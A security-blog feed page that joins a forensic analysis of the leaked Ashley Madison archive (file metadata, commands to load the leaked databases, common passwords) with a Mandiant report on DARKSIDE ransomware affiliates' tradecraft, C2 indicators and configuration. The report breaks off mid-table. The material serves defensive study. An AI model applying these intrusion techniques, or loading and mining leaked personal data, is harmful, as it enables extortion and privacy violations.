    The output of the dnscmd windows command executing on what appears to be a primary domain controller. The timestamp indicates that the command was run on July 1st 2015. There is also “pwdump” style export of 1324 user accounts which appear to be from the ALM domain controller. These passwords will be easy to crack as NTLM hashes aren’t the strongest
  • Noel’s loan agreement.pdf
    A promissory note for the CEO to pay back ~3MM in Canadian monies.
  • Areas of concern – customer data.docx
    Appears to be a risk profile of the major security concerns that ALM has regarding their customer’s data. And yes, a major user data dump is on the list of concerns.
  • Banks.xlsx
    A listing of all ALM associated bank account numbers and the biz which owns them.
  • Rev by traffic source rebill broken out.docx
  • Rebill Success Rate Queries.docx
    Both of these are SQL queries to investigate Rebilling of customers.
  • README.txt
    Impact Team statement regarding their motivations for the attack and leak.
  • Copies of Option Agreements.pdf
    All agreements for what appears all of the company’s outstanding options.
  • paypal accounts.xlsx
    Various user/passes for ALM paypal accounts (16 in total)
  • swappernet_QA_User_Table.txt
  • swappernet_User_Table.7z
    This file is a database export into CSV format. I appears to be from a QA server
  • ALMCLUSTER (production domain) computers.txt
    The output of the dnscmd windows command executing on what appears to be a production domain controller. The timestamp indicates that the command was run on July 1st 2015.
  • ALMCLUSTER (production domain) hashdump.txt
    A “pwdump” style export of 1324 user accounts which appear to be from the ALM domain controller. These passwords will be easy to crack as NTLM hashes aren’t the strongest.
  • ALM Floor Plan – ports and names.pdf
    Seating map of main office, this type of map is usually used for network deployment purposes.
  • ARPU and ARPPU.docx
    A listing of SQL commands which provide revenue and other macro financial health info.
    Presumably these queries would run on the primary DB or a biz intel slave.
  • Credit useage.docx
    SQL queries to investigate credit card purchases.
  • Avid Org Chart 2015 – May 14.pdf
    A per-team organizational chart of what appears to be the entire company.
  • announcement.png
    The graphic created by Impact Team to announce their demand for ALM to shut down it’s flagship website AM.
  • [email protected]_20101103_133855.pdf
    Contract outlining the terms of a purchase of the biz Seekingarrangement.com
  • CSF Questionnaire (Responses).xlsx
    Company exec Critical Success Factors spreadsheet. Answering questions like “In what area would you hate to see something go wrong?” and the CTO’s response is about hacking.
  • ALM – January 2015 – Company Overview.pptx
    This is a very detailed breakdown of current biz health, marketing spend, and future product plans.
  • Ashley Madison Technology Stack v5(1).docx
    A detailed walk-through of all major servers and services used in the ALM production environment.
  • oneperday.txt
  • oneperday_am_am_member.txt
  • oneperday_aminno_member.txt
    These three files have limited leak info as a “teaser” for the .dump files that are found in the highest level directory of the AM leak.
  • Rev from organic search traffic.docx
    SQL queries to explore the revenue generated from search traffic.
  • 20131002-domain-list.xlsx
    BA list of the 1083 domain names that are, have been, or are seeking to be owned by ALM.
  • Sales Queries/
    Empty Directory
  • ALM Labs Inc. Articles of Incorporation.pdf
    The full 109 page Articles of Incorporation, ever aspect of inital company formation.
  • ALM – Corporate Chart.pptx
    A detailed block diagram defining the relationship between various tax and legal business entity names related to ALM businesses.
  • Avid Life Media – Major Shareholders.xlsx
    A listing of each major shareholder and their equity stake

———–[File meta-data analysis]

First we’ll take a look at the 7zip file in the top level directory.

$ 7z l ashleymadisondump.7z

Listing archive: ashleymadisondump.7z

----

Path = ashleymadisondump.7z

Type = 7z

Method = LZM

Solid = +

Blocks = 1

Physical Size = 37796243

Headers Size = 1303



   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2015-07-09 12:25:48 ....A     17271957     37794940  swappernet_User_Table.7z
2015-07-10 12:14:35 ....A       723516               announcement.png
2015-07-01 18:03:56 ....A        51222               ALMCLUSTER (production domain) computers.txt
2015-07-01 17:58:55 ....A       120377               ALMCLUSTER (production domain) hashdump.txt
2015-06-25 22:59:22 ....A        35847               AVIDLIFEMEDIA (primary corporate domain) computers.txt
2015-06-14 21:18:11 ....A       339221               AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
2015-07-18 15:23:34 ....A       686533               oneperday.txt
2015-07-18 15:20:43 ....A       959099               oneperday_aminno_member.txt
2015-07-18 19:00:45 ....A      1485289               oneperday_am_am_member.txt
2015-07-19 17:01:11 ....A         6031               README.txt
2015-07-07 11:41:36 ....A         6042               Areas of concern - customer data.docx
2015-07-07 12:14:42 ....A         5907               Sales Queries/ARPU and ARPPU.docx
2015-07-07 12:04:35 ....A       960553               Ashley Madison Technology Stack v5(1).docx
2015-07-07 12:14:42 ....A         5468               Sales Queries/Credit useage.docx
2015-07-07 12:14:43 ....A         5140               Sales Queries/Number of traveling man purchases.docx
2015-07-07 12:14:47 ....A         5489               Sales Queries/Rebill Success Rate Queries.docx
2015-07-07 12:14:43 ....A         5624               Sales Queries/Rev by traffic source rebill broken out.docx
2015-07-07 12:14:42 ....A         6198               Sales Queries/Rev from organic search traffic.docx
2015-07-08 23:17:19 ....A       259565               ALM Floor Plan - ports and names.pdf
2012-10-19 16:54:20 ....A      1794354               ALM Labs Inc. Articles of Incorporation.pdf
2015-07-07 12:04:10 ....A      1766350               Avid Org Chart 2015 - May 14.pdf
2012-10-20 12:23:11 ....A      6344792               Copies of Option Agreements.pdf
2013-09-18 14:39:25 ....A       132798               Noel's loan agreement.pdf
2015-07-07 10:16:54 ....A       380043               [email protected]_20101103_133855.pdf
2012-12-13 15:26:58 ....A        67816               ALM - Corporate Chart.pptx
2015-07-07 12:14:28 ....A      8366232               ALM - January 2015 - Company Overview.pptx
2013-10-07 10:30:28 ....A        67763               20131002-domain-list.xlsx
2013-07-15 15:20:14 ....A        13934               Avid Life Media - Major Shareholders.xlsx
2015-07-09 11:57:58 ....A        22226               Banks.xlsx
2015-07-07 11:41:41 ....A        15703               CSF Questionnaire (Responses).xlsx
2015-07-09 11:57:58 ....A        42511               paypal accounts.xlsx
2015-07-07 12:04:44 ....A        15293               q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
2015-07-18 13:54:40 D....            0            0  Sales Queries
------------------- ----- ------------ ------------  ------------------------
                              41968893     37794940  32 files, 1 folders

If we’re to believe this meta-data, the newest file is from July 19th 2015 and the oldest is from October 19th 2012. The timestamp for the file announcement.png shows a creation date of July 10th 2015. This file is the graphical announcement from the leakers. The file swappernet_User_Table.7z
has a timestamp of July 9th 2015. Since this file is a database dump, one might presume that these files were created for the original release and the other files were copied from a file-system that preserves timestamps.

Within that 7zip file we’ve found another which looks like:

$ 7z l ashleymadisondump/swappernet_User_Table.7z

Listing archive: ./swappernet_User_Table.7z

----

Path = ./swappernet_User_Table.7z

Type = 7z

Method = LZMA

Solid = -

Blocks = 1

Physical Size = 17271957

Headers Size = 158




   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2015-06-27 18:39:40 ....A     61064200     17271799  swappernet_QA_User_Table.txt
------------------- ----- ------------ ------------  ------------------------
                              61064200     17271799  1 files, 0 folders

Within the ashleymadisondump directory extracted from ashleymadisondump.7z we’ve got
the following file types that we’ll examine for meta-data:

8 txt
8 docx
6 xlsx
6 pdf
2 pptx
1 png
1 7z

The PNG didn’t seem to have any EXIF meta-data, and we’ve already covered the 7z file.

The text files probably don’t usually yield anything to us meta-data wise.

In the MS Word docx files  we have the following meta-data:

  • Areas of concern – customer data.docx
    No Metadata
  • ARPU and ARPPU.docx
    No Metadata
  • Ashley Madison Technology Stack v5(1).docx
    Created Michael Morris, created and last modified on Sep 17 2013.
  • Credit useage.docx
    No Metadata
  • Number of traveling man purchases.docx
    No Metadata
  • Rebill Success Rate Queries.docx
    No Metadata
  • Rev by traffic source rebill broken out.docx
    No Metadata
  • Rev from organic search traffic.docx
    No Metadata

In the MS Powerpoint pptx files we have the following meta-data:

  • ALM – Corporate Chart.pptx
    Created by “Diana Horvat” on Dec 5 2012 and last updated by “Tatiana Kresling”
    on Dec 13th 2012
  • ALM – January 2015 – Company Overview.pptx
    Created Rizwan Jiwan, Jan 21 2011 and last modified on Jan 20 2015.

In the MS Excel xlsx files we have the following meta-data:

  • 20131002-domain-list.xlsx
    Written by Kevin McCall, created and last modified Oct 2nd 2013
  • Avid Life Media – Major Shareholders.xlsx
    Jamal Yehia, created and last modified July 15th 2013
  • Banks.xlsx
    Created by “Elena” and Keith Lalonde, created Dec 15 2009 and last modified Feb 26th  2010
  • CSF Questionnaire (Responses).xlsx
    No Metadata
  • paypal accounts.xlsx
    Created by Keith Lalonde, created Oct 28  2010 and last modified Dec 22nd  2010
  • q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
    No Metadata

And finally within the PDF files we also see additional meta-data:

  • ALM Floor Plan – ports and names.pdf
    Written by Martin Price in MS Visio, created and last modified April 23 2015
  • ALM Labs Inc. Articles of Incorporation.pdf
    Created with DocsCorp Pty Ltd (www.docscorp.com), created and last modified on Oct 17 2012
  • Avid Org Chart 2015 – May 14.pdf
    Created and last modified on May 14 2015
  • Copies of Option Agreements.pdf
    OmniPage CSDK 16 OcrToolkit, created and last modified on Oct 16 2012
  • Noel’s loan agreement.pdf
    Created and last modified on Sep 18 2013
  • [email protected]_20101103_133855.pdf
    Created and last modified on Jul 7 2015

———–[MySQL Dump file loading and evidence gathering]

At this point all of the dump files have been decompressed with gunzip or 7zip. The dump files are standard MySQL backup file (aka Dump files) the info in the dump files implies that it was taken from multiple servers:

$ grep 'MySQL dump' *.dump
am_am.dump:-- MySQL dump 10.13  Distrib 5.5.33, for Linux (x86_64)
aminno_member.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)
aminno_member_email.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)
member_details.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)
member_login.dump:-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)

Also within the dump files was info referencing being executed from localhost, this implies an attacker was on the Database server in question.

Of course, all of this info is just text and can easily be faked, but it’s interesting none-the-less considering the possibility that it might be correct and unaltered.

To load up the MySQL dumps we’ll start with a fresh MySQL database instance
on a decently powerful server and run the following commands:

--As root MySQL user
CREATE DATABASE aminno;
CREATE DATABASE am;
CREATE USER 'am'@'localhost' IDENTIFIED BY 'loyaltyandfidelity';
GRANT ALL PRIVILEGES ON aminno.* TO 'am'@'localhost';
GRANT ALL PRIVILEGES ON am.* TO 'am'@'localhost';

Now back at the command line we’ll execute these to import the main dumps:

$ mysql -D aminno -uam -ployaltyandfidelity < aminno_member.dump

$ mysql -D aminno -uam -ployaltyandfidelity < aminno_member_email.dump

$ mysql -D aminno -uam -ployaltyandfidelity < member_details.dump

$ mysql -D aminno -uam -ployaltyandfidelity < member_login.dump

$ mysql -D am -uam -ployaltyandfidelity < am_am.dump

Now that you’ve got the data loaded up you can recreate some of the findings ksugihara made with his analysis here [Edit: It appears ksugihara has taken this offline, I don’t have a mirror]. We didn’t have much more to add for holistic statistics analysis than what he’s already done so check out his blog post for more on the primary data dumps. There still is one last final database export though…

Within the file ashleymadisondump/swappernet_QA_User_Table.txt we have a final database export, but this one is not in the MySQL dump format. It is instead in CSV format. The file name implies this was an export from a QA Database server.

This file has the following columns (left to right in the CSV):

  • recid
  • id
  • username
  • userpassword
  • refnum
  • disable
  • ipaddress
  • lastlogin
  • lngstatus
  • strafl
  • ap43
  • txtCoupon
  • bot

Sadly within the file we see user passwords are in clear text which is always a bad security practice. At the moment though we don’t know if these are actual production user account passwords, and if so how old they are. My guess is that these are from an old QA server when AM was a smaller company and hadn’t moved to secure password hashing practices like bcrypt.

These commands show us there are 765,607 records in this database export and
only four of them have a blank password. Many of the passwords repeat and
397,974 of the passwords are unique.

$ cut -d , -f 4 < swappernet_QA_User_Table.txt |wc -l
765607
$ cut -d , -f 4 < swappernet_QA_User_Table.txt | sed '/^s*$/d' |wc -l
765603
$ cut -d , -f 4 < swappernet_QA_User_Table.txt | sed '/^s*$/d' |sort -u |wc -l
387974

Next we see the top 25 most frequently used passwords in this database export
using the command:

$ cut -d , -f 4 < swappernet_QA_User_Table.txt |sort|uniq -c |sort -rn|head -25
   5882 123456
   2406 password
    950 pussy
    948 12345
    943 696969
    917 12345678
    902 fuckme
    896 123456789
    818 qwerty
    746 1234
    734 baseball
    710 harley
    699 swapper
    688 swinger
    647 football
    645 fuckyou
    641 111111
    538 swingers
    482 mustang
    482 abc123
    445 asshole
    431 soccer
    421 654321
    414 1111
    408 hunter

After importing the CSV into MS excel we can use sort and filter to make some
additional statements based on the data.

    1. The only logins marked as “lastlogin” column in the year 2015 are from the
      following users:
      SIMTEST101
      SIMTEST130
      JULITEST2
      JULITEST3
      swappernetwork
      JULITEST4
      HEATSEEKERS
    1. The final and most recent login was from AvidLifeMedia’s office IP range.
    2. 275,285 of these users have an entry for the txtCupon.
    3. All users with the “bot” column set to TRUE have either passwords

“statueofliberty” or “cake”

The post A light-weight forensic analysis of the AshleyMadison Hack appeared first on Include Security Research Blog.

Before yesterdayResearch - Companies

Shining a Light on DARKSIDE Ransomware Operations

11 May 2021 at 21:30

Update (May 14): Mandiant has observed multiple actors cite a May 13 announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and CDN servers, and would be closing their service. Decrypters would also be provided for companies who have not paid, possibly to their affiliates to distribute. The post cited law enforcement pressure and pressure from the United States for this decision. We have not independently validated these claims and there is some speculation by other actors that this could be an exit scam.

Background

Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims.

The origins of these incidents are not monolithic. DARKSIDE ransomware operates as a ransomware-as-a-service (RaaS) wherein profit is shared between its owners and partners, or affiliates, who provide access to organizations and deploy the ransomware. Mandiant currently tracks multiple threat clusters that have deployed this ransomware, which is consistent with multiple affiliates using DARKSIDE. These clusters demonstrated varying levels of technical sophistication throughout intrusions. While the threat actors commonly relied on commercially available and legitimate tools to facilitate various stages of their operations, at least one of the threat clusters also employed a now patched zero-day vulnerability.

Reporting on DARKSIDE has been available in advance of this blog post to users of Mandiant Advantage Free, a no-cost version of our threat intelligence platform.

Targeting

Mandiant has identified multiple DARKSIDE victims through our incident response engagements and from reports on the DARKSIDE blog. Most of the victim organizations were based in the United States and span across multiple sectors, including financial services, legal, manufacturing, professional services, retail, and technology. The number of publicly named victims on the DARKSIDE blog has increased overall since August 2020, with the exception of a significant dip in the number of victims named during January 2021 (Figure 1). It is plausible that the decline in January was due to threat actors using DARKSIDE taking a break during the holiday season. The overall growth in the number of victims demonstrates the increasing use of the DARKSIDE ransomware by multiple affiliates.


Figure 1: Known DARKSIDE victims (August 2020 to April 2021)

DARKSIDE Ransomware Service

Beginning in November 2020, the Russian-speaking actor "darksupp" advertised DARKSIDE RaaS on the Russian-language forums exploit.in and xss.is. In April 2021, darksupp posted an update for the "Darkside 2.0" RaaS that included several new features and a description of the types of partners and services they were currently seeking (Table 1). Affiliates retain a percentage of the ransom fee from each victim. Based on forum advertisements, the RaaS operators take 25% for ransom fees less than $500,000, but this decreases to 10 percent for ransom fees greater than $5 million.

In addition to providing builds of DARKSIDE ransomware, the operators of this service also maintain a blog accessible via TOR. The actors use this site to publicize victims in an attempt to pressure these organizations into paying for the non-release of stolen data. A recent update to their underground forum advertisement also indicates that actors may attempt to DDoS victim organizations. The actor darksupp has stated that affiliates are prohibited from targeting hospitals, schools, universities, non-profit organizations, and public sector entities. This may be an effort by the actor(s) to deter law enforcement action, since targeting of these sectors may invite additional scrutiny. Affiliates are also prohibited from targeting organizations in Commonwealth of Independent States (CIS) nations.

Advertisement Date/Version

Feature/Update

Related Reporting

Nov. 10, 2020 (V1)

 

Ability to generate builds for both Windows and Linux environments from within the administration panel. 

20-00023273

Encrypts files using Salsa20 encryption along with an RSA-1024 public key

Access to an administrative panel via TOR that can be used by clients to manage Darkside builds, payments, blog posts, and communication with victims

The admin panel includes a Blog section that allows clients to publish victim information and announcements to the Darkside website for the purposes of shaming victims and coercing them to pay ransom demands

April 14, 2021 (V2.0)

 

Automated test decryption. The process from encryption to withdrawal of money is automated and no longer relies on support.

21-00008435

Available DDoS of targets (Layer 3, Layer 7)

Sought a partner to provide network accesses to them and a person or team with pentesting skills

Table 1: Notable features and updates listed on DARKSIDE advertisement thread (exploit.in)

DARKSIDE Affiliates

DARKSIDE RaaS affiliates are required to pass an interview after which they are provided access to an administration panel (Figure 2). Within this panel, affiliates can perform various actions such as creating a ransomware build, specifying content for the DARKSIDE blog, managing victims, and contacting support. Mandiant has identified at least five Russian-speaking actors who may currently, or have previously, been DARKSIDE affiliates. Relevant advertisements associated with a portion of these threat actors have been aimed at finding either initial access providers or actors capable of deploying ransomware on accesses already obtained. Some actors claiming to use DARKSIDE have also allegedly partnered with other RaaS affiliate programs, including BABUK and SODINOKIBI (aka REvil). For more information on these threat actors, please see Mandiant Advantage.


Figure 2: DARKSIDE affiliate panel

Attack Lifecycle

Mandiant currently tracks five clusters of threat activity that have involved the deployment of DARKSIDE. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors." These clusters may represent different affiliates of the DARKSIDE RaaS platform. Throughout observed incidents, the threat actor commonly relied on various publicly available and legitimate tools that are commonly used to facilitate various stages of the attack lifecycle in post-exploitation ransomware attacks (Figure 3). Additional details on three of these UNC groups are included below.


Figure 3: TTPs seen throughout DARKSIDE ransomware engagements

UNC2628

UNC2628 has been active since at least February 2021. Their intrusions progress relatively quickly with the threat actor typically deploying ransomware in two to three days. We have some evidence that suggests UNC2628 has partnered with other RaaS including SODINOKIBI (REvil) and NETWALKER.

  • In multiple cases we have observed suspicious authentication attempts against corporate VPN infrastructure immediately prior to the start of interactive intrusion operations. The authentication patterns were consistent with a password spraying attack, though available forensic evidence was insufficient to definitively attribute this precursor activity to UNC2628.
  • In cases where evidence was available, the threat actor appeared to obtain initial access through corporate VPN infrastructure using legitimate credentials.
  • UNC2628 has interacted with victim environments using various legitimate accounts, but in multiple cases has also created and used a domain account with the username 'spservice'. Across all known intrusions, UNC2628 has made heavy use of the Cobalt Strike framework and BEACON payloads. BEACON command and control (C2) infrastructure attributed to this actor has included the following:
    • hxxps://104.193.252[.]197:443/
    • hxxps://162.244.81[.]253:443/
    • hxxps://185.180.197[.]86:443/
    • hxxps://athaliaoriginals[.]com/
    • hxxps://lagrom[.]com:443/font.html
    • hxxps://lagrom[.]com:443/night.html
    • hxxps://lagrom[.]com:443/online.html
    • hxxps://lagrom[.]com:443/send.html
    • hxxps://lagrom[.]com/find.html?key=id#-
  • In at least some cases there is evidence to suggest this actor has employed Mimikatz for credential theft and privilege escalation.
  • The threat actor appeared to have used built-in commands such as ‘net’ and ‘ping’ to perform basic reconnaissance of the internal network, though it is likely that additional reconnaissance was performed via BEACON and not represented in available log sources.
  • UNC2628 has moved laterally in environments almost exclusively via RDP using legitimate credentials and Cobalt Strike BEACON payloads. This threat cluster uses both HTTPS BEACON payloads and SMB BEACON, the latter almost exclusively using named pipes beginning with “\\.\pipe\UIA_PIPE_”
  • Intrusions attributed to this threat cluster have progressed swiftly from intrusion to data theft and ransomware deployment, and have thus not focused heavily on maintaining a persistent foothold in impacted environments.  Despite this, UNC2628 has maintained access via the collection of legitimate credentials, the creation of attacker-controlled domain accounts (spservice), and via the creation of Windows services intended to launch BEACON. Notably, UNC2628 has repeatedly loaded BEACON with a service named ‘CitrixInit’.
  • UNC2628 has also employed F-Secure Labs' Custom Command and Control (C3) framework, deploying relays configured to proxy C2 communications through the Slack API. Based on this actor's other TTPs they were likely using C3 to obfuscate Cobalt Strike BEACON traffic.
  • The threat actor has exfiltrated data over SFTP using Rclone to systems in cloud hosting environments. Rclone is a command line utility to manage files for cloud storage applications. Notably, the infrastructure used for data exfiltration has been reused across multiple intrusions. In one case, the data exfiltration occurred on the same day that the intrusion began.
  • UNC2628 deploys DARKSIDE ransomware encryptors using PsExec to a list of hosts contained in multiple text files.
  • The threat actor has used the following directories, placing copies of backdoors, ransomware binaries, copies of PsExec, and lists of victim hosts within them.
    • C:\run\
    • C:\home\
    • C:\tara\
    • C:\Users\[username]\Music\
    • C:\Users\Public

UNC2659

UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools’ legitimate public websites.

  • The threat actor obtained initial access to their victim by exploiting CVE-2021-20016, an exploit in the SonicWall SMA100 SSL VPN product, which has been patched by SonicWall. There is some evidence to suggest the threat actor may have used the vulnerability to disable multi-factor authentication options on the SonicWall VPN, although this has not been confirmed.
  • The threat actor leveraged TeamViewer (TeamViewer_Setup.exe) to establish persistence within the victim environment. Available evidence suggests that the threat actor downloaded TeamViewer directly from the following URL and also browsed for locations from which they could download the AnyDesk utility.
    • hxxps://dl.teamviewer[.]com/download/version_15x/TeamViewer_Setup.exe
  • The threat actor appeared to download the file rclone.exe directly from rclone[.]org - hxxps://downloads.rclone[.]org/v1.54.0/rclone-v1.54.0-windows-amd64.zip. The threat actors were seen using rclone to exfiltrate hundreds of gigabytes of data over the SMB protocol to the pCloud cloud-based hosting and storage service.
  • The threat actor deployed the file power_encryptor.exe in a victim environment, encrypting files and creating ransom notes over the SMB protocol.
  • Mandiant observed the threat actor navigate to ESXi administration interfaces and disable snapshot features prior to the ransomware encryptor deployment, which affected several VM images.

UNC2465

UNC2465 activity dates back to at least April 2019 and is characterized by their use of similar TTPs to distribute the PowerShell-based .NET backdoor SMOKEDHAM in victim environments. In one case where DARKSIDE was deployed, there were months-long gaps, with only intermittent activity between the time of initial compromise to ransomware deployment. In some cases, this could indicate that initial access was provided by a separate actor.

  • UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system.  
  • UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments.
  • The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network.
  • UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet.
  • Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware.
  • UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note.

Implications

We believe that threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years. Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices. As one example, in late April 2021, the DARKSIDE operators released a press release stating that they were targeting organizations listed on the NASDAQ and other stock markets. They indicated that they would be willing to give stock traders information about upcoming leaks in order to allow them potential profits due to stock price drops after an announced breach. In another notable example, an attacker was able to obtain the victim's cyber insurance policy and leveraged this information during the ransom negotiation process refusing to lower the ransom amount given their knowledge of the policy limits. This reinforces that during the post-exploitation phase of ransomware incidents, threat actors can engage in internal reconnaissance and obtain data to increase their negotiating power. We expect that the extortion tactics that threat actors use to pressure victims will continue to evolve throughout 2021.

Based on the evidence that DARKSIDE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat. For more comprehensive recommendations for addressing ransomware, please refer to our blog post: "Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment" and the linked white paper.

Acknowledgements

Beyond the comparatively small number of people who are listed as authors on this report are hundreds of consultants, analysts and reverse-engineers who tirelessly put in the work needed to respond to intrusions at breakneck pace and still maintain unbelievably high analytical standards. This larger group has set the foundation for all of our work, but a smaller group of people contributed more directly to producing this report and we would like to thank them by name. We would like to specifically thank Bryce Abdo and Matthew Dunwoody from our Advanced Practices team and Jay Smith from FLARE, all of whom provided analytical support and technical review. Notable support was also provided by Ioana Teaca, and Muhammadumer Khan.

Appendix A: DARKSIDE Ransomware Analysis

DARKSIDE is a ransomware written in C that may be configured to encrypt files on fixed and removable disks as well as network shares. DARKSIDE RaaS affiliates are given access to an administration panel on which they create builds for specific victims. The panel allows some degree of customization for each ransomware build such as choosing the encryption mode and whether local disks and network shares should be encrypted (Figures 4). The following malware analysis is based on the file MD5: 1a700f845849e573ab3148daef1a3b0b. A more recently analyzed DARKSIDE sample had the following notable differences:

  • The option for beaconing to a C2 server was disabled and the configuration entry that would have contained a C2 server was removed.
  • Included a persistence mechanism in which the malware creates and launches itself as a service.
  • Contained a set of hard-coded victim credentials that were used to attempt to logon as a local user. If the user token retrieved based on the stolen credentials is an admin token and is part of the domain administrators' group, it is used for network enumeration and file permission access.


Figure 4: DARKSIDE build configuration options appearing in the administration panel

Host-Based Indicators

Persistence Mechanism

Early versions of the malware did not contain a persistence mechanism. An external tool or installer was required if the attacker desired persistence. A DARKSIDE version observed in May 2021 implement a persistence mechanism through which the malware creates and launches itself as a service with a service name and description named using eight pseudo-randomly defined lowercase hexadecimal characters (e.g., ".e98fc8f7") that are also appended by the malware to various other artifacts it created.  This string of characters is referenced as <ransom_ext>. :

Service Name: <ransom_ext>
Description: <ransom_ext>

Filesystem Artifacts

Created Files

%CD%\LOG<ransom_ext>.TXT
README<ransom_ext>.TXT
<original_filename_plus_ext><ransom_ext>
May version: %PROGRAMDATA%\<ransom_ext>.ico

Registry Artifacts

The DARKSIDE version observed in May sets the following registry key:

HKCR\<ransom_ext>\DefaultIcon\<ransom_ext>\DefaultIcon=%PROGRAMDATA%\<ransom_ext>.ico

Details

Configuration

The malware initializes a 0x100-byte keystream used to decrypt strings and configuration data. Strings are decrypted as needed and overwritten with NULL bytes after use. The malware's configuration size is 0xBE9 bytes. A portion of the decrypted configuration is shown in Figure 5.

00000000  01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000080  95 AA A8 7C 2B 6A D5 12 0E 73 B3 7D BD 16 25 62  •ª¨|+jÕ..s³}½.%b
00000090  A4 A8 BF 19 73 F7 E0 BC DF 02 A8 94 32 CF 0C C0  ¤¨¿.s÷à¼ß.¨"2Ï.À
000000A0  C5 83 0F 14 66 02 87 EE FD 29 96 DF 02 05 C1 12  Ń..f.‡îý)–ß..Á.
000000B0  3E 43 A7 59 E1 F0 C4 5D AE E1 20 2E 77 D9 CA 3C  >C§YáðÄ]®á .wÙÊ<
000000C0  AD C6 BC 84 75 1C E7 0B F0 30 2A 51 13 7A B2 66  .Ƽ„u.ç.ð0*Q.z²f
000000D0  44 73 79 E1 E4 69 C3 CA 1B C1 76 63 65 95 EA CA  DsyáäiÃÊ.Ávce•êÊ
000000E0  F6 10 68 0D CE 36 61 F9 57 B9 19 50 31 D4 E1 70  ö.h.Î6aùW¹.P1Ôáp
000000F0  EC 7B 33 1E 4F 17 E1 80 1D BC CF 8C D8 C5 66 41  ì{3.O.á€.¼ÏŒØÅfA
00000100  E5 0A 00 00 02 6E 01 02 15 03 43 01 8E 24 0E 72  å....n....C.Ž$.r
<cut>

Figure 5: Partial decrypted configuration

The sample's 0x80-byte RSA public key blob begins at offset 0x80. The DWORD value at offset 0x100 is multiplied by 64 and an amount of memory equivalent to the result is allocated. The remaining bytes, which start at offset 0x104, are aPLib-decompressed into the allocated buffer. The decompressed bytes include the ransom note and other elements of the malware's configuration described as follows (e.g., processes to terminate, files to ignore). The first 0x60 bytes of the decompressed configuration are shown in Figure 6.

00000000  02 01 01 01 00 01 01 00 01 01 01 01 01 01 01 01  ................
00000010  01 01 01 01 01 01 24 00 72 00 65 00 63 00 79 00  ......$.r.e.c.y.
00000020  63 00 6C 00 65 00 2E 00 62 00 69 00 6E 00 00 00  c.l.e...b.i.n...
00000030  63 00 6F 00 6E 00 66 00 69 00 67 00 2E 00 6D 00  c.o.n.f.i.g...m.
00000040  73 00 69 00 00 00 24 00 77 00 69 00 6E 00 64 00  s.i...$.w.i.n.d.
00000050  6F 00 77 00 73 00 2E 00 7E 00 62 00 74 00 00 00  o.w.s...~.b.t...
<cut>

Figure 6: Partial decompressed configuration

The first byte from Figure 6 indicates the encryption mode. This sample is configured to encrypt using FAST mode. Supported values are as follows:

  • 1: FULL
  • 2: FAST
  • Other values: AUTO

The individual bytes from offset 0x02 to offset 0x15 in Figure 6 are Boolean values that dictate the malware's behavior. The malware takes the actions listed in Table 2 based on these values. Table 2 also identifies features that are enabled or disabled for the current sample.

Offset

Enabled

Description

0x01

Yes

Unknown

0x02

Yes

Encrypt local disks

0x03

Yes

Encrypt network shares

0x04

No

Perform language check

0x05

Yes

Delete volume shadow copies

0x06

Yes

Empty Recycle Bins

0x07

No

Self-delete

0x08

Yes

Perform UAC bypass if necessary

0x09

Yes

Adjust token privileges

0x0A

Yes

Logging

0x0B

Yes

Feature not used but results in the following strings being decrypted:

  • https://google.com/api/version
  • https://yahoo.com/v2/api

0x0C

Yes

Ignore specific folders

0x0D

Yes

Ignore specific files

0x0E

Yes

Ignore specific file extensions

0x0F

Yes

Feature not used; related to these strings: "backup" and "here_backups"

0x10

Yes

